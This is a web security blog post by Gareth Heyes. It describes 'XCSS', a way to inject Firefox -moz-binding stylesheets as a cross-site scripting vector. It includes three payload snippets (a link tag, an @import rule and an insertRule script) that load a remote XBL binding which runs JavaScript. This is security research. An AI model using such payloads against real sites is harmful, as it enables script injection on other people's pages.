The Spanner logo
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    • Home
    • Blog
      • Blog home
      • RSS
    • Login
    The Spanner logo

    The Spanner
    Web security blog

    Made by Gareth Heyes
    Follow me on Twitter: @garethheyes

    Javascript for hackers!

    Hackvertor logo
    Shazzer logo
    My Github account
    Recent posts
    Introducing Feedworm: A Privacy-First RSS Reader That Lives in DevToolsSpeedy RSVP extensionAutoVaderHackvertor history and tag finderShadow Repeater v1.2.3 releaseBurp Hackvertor v2.1.24 releaseHacking roomsXSSing TypeErrors in SafarivalueOf: Another way to get thisMaking the Unexploitable Exploitable with X-Mixed-Replace on FirefoxThe curious case of the evt parameterCSS-Only Tic Tac Toe ChallengeRewriting relative urls with the base tag in SafariBypassing DOMPurify with mXSSNew IE mutation vectorHow I smashed MentalJSMentalJS DOM bypassAnother XSS auditor bypassXSS Auditor bypassBypassing the IE XSS filterUnbreakable filterMentalJS bypassesmXSSJava SerializationBypassing the XSS filter using function reassignmentRPOSandboxed jQueryX-Domain scroll detection on IE using focusEpic fail IEnew operatorDecoding complex non-alphanumeric JavaScriptHacking FirefoxDOM ClobberingBypassing XSS AuditorThe evolution of codeNon-Alpha PHP in 6-7 charsetTweetable PHP-Non AlphaMentalJS for PHPOpera x domain with video tutorialSandboxing and parsing jQuery in 100ms

    XCSS

    By Gareth Heyes (@hackvertor)

    Published 18 years 6 months ago • Last updated March 22, 2025 • ⏱️ 2 min read

    ← Back to articles

    I thought I'd continue the theme of experimenting with XSS and trying different things, I haven't seen this written about anywhere so here goes. The idea is using CSS as a XSS payload, this can be useful when filters allow some things but make it difficult to construct an attack.

    I've decided to call it XCSS (Cross site Cascading Style Sheets) and there are many ways you can inject them into a document, I'll show how to do it in Firefox but it will be possible with other browsers as well.

    Step 1 - A moz binding document

    We first need a moz binding document to demonstrate this method, a sample one can be found here:- Moz Binding sample I'm not going to explain the details of what one can do, so if you want to find out more than just Google it. This example simply injects a Javascript alert.

    Step 2 - Embedding the style

    There are many ways of embedding a stylesheet into a document, here I'll show you three.

    1. <pre lang="html">

    <link href="//businessinfo.co.uk/ labs/xbl/xbl.xml#xss" rel="stylesheet" type="text/css" /> </pre>

    2.<pre lang="html"><style type="text/css">@import url("//businessinfo.co.uk/labs/xcss/xcss.css");</style></pre>

    1. Finally using javascript to add a rule to an existing style sheet:-
    <pre lang="html"> &lt;script type=&quot;text/javascript&quot;&gt; function performXCSS() { css = document.styleSheets.item(0); css.insertRule('body {-moz-binding:url(&quot;//businessinfo.co.uk/labs/xbl/xbl.xml#xss&quot;);}', 0); } &lt;/script&gt; &lt;a href=&quot;javascript:performXCSS();&quot;&gt;Perform XCSS&lt;/a&gt; </pre>

    ← Back to articles